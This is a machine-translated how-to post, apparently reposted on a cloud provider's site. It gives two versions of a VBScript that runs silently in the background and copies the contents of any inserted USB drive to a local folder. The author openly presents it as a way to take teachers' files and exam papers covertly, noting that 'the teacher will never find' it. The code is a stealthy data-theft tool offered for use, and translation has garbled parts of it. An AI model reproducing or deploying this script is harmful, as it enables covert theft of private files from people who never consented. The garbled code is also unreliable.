How to insert the USB flash drive to copy content automatically

Source: Internet
Author: User

U disk Insert automatic copy, effective against those who refused to give PPT teacher, there is a chance to get the final exam paper ... There is a picture of the truth! Good thing about the industry conscience!! It's too late to see!!!

Code optimization, it is not very important to delete, this time the use of no phenomenon, the same copy of the contents of the USB stick will not appear in the progress bar, full background running.

Also create a text document, Win+r inside to play Notepad, or you create a new one is the same

Copy the following code in.

Set Fso=createobject ("Scripting.FileSystemObject")

Set Ws=createobject ("Wscript.Shell") On Error Resume Nextdowscript.sleep 1000if fso.driveexists ("drive Letter of U disk") Thenfso.copyfile "U disk Multibyte *", "directory to copy to" Fso.copyfolder "USB drive Disk Multibyte *", "directory to copy to" Wscript.Sleep 20000end IfLoop

Pay attention to the color of the place to change their own

The blue is to copy to the directory, such as to copy to the C-Drive USB folder, then use C:\USB\ instead of the blue part, note the case, and must ensure that the USB folder exists.

Red is the drive letter of the U disk, such as the newly inserted USB stick is the e-disk, then use e:\* instead of the red part, F is f:\*,

The first USB drive letter, this do not *, after 2 remember not to miss this symbol.

Copy good also changed after saving the file is OK, and then change the name of the file, it is best to use English, and then the suffix to change. VBS, it turns out. TXT, if the suffix is not displayed, then open My computer, found in the menu bar, tools-Folder Options, in the View tab, there is a hidden extension of the known file type, the tick off will show the suffix.

After the suffix has been changed, run this file and it will be OK. At the same time you can delete this file, it is already resident memory, after restarting this thing will not appear again, the teacher will never find

To stop this thing, end the process WScript.exe in the Task Manager. This software has been programmed to understand that there is no malicious code.

In addition, I am not a computer professional, this thing now to plug n U-Disk will only copy the first, the Plug and move the hard disk will be copied all ...


There's no time for this. I now update the code, copy everything below to a text file, renamed to Xx.vbs use can

Set Fso=createobject ("Scripting.FileSystemObject") Set Ws=createobject ("Wscript.Shell") Dim USB, File, folder, Filesusb=inputbox ("Please enter the drive letter of the USB stick" &CHR & "if the inserted USB drive is an F drive, enter F", "inserted USB drive letter", "F") Folder=inputbox ("Please enter the folder to be copied to" & CHR & "If you want to copy to D, enter D:\", "Enter the folder you copied to", "C:\USB") Files=inputbox ("Please enter the type of file to be copied" &CHR & "If you want to copy an Excel file, Enter XLS; default = all type, enter file type to copy, all) Usb=usb & ": \" Folder=folder & "\" If files= "All" Thenfile=usb & "*" Else File=usb & "*." & Filesend IfIf FSO. FolderExists (folder) Thenelsefso.createfolder (folder) End Ifon Error Resume Nextdowscript.sleep 1000if fso.driveexists (USB) thenfso.copyfile file,folderfso.copyfolder file,folderwscript.sleep 20000end ifloop

OK, so it's done.

Not original.

How to insert the USB flash drive to copy content automatically

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.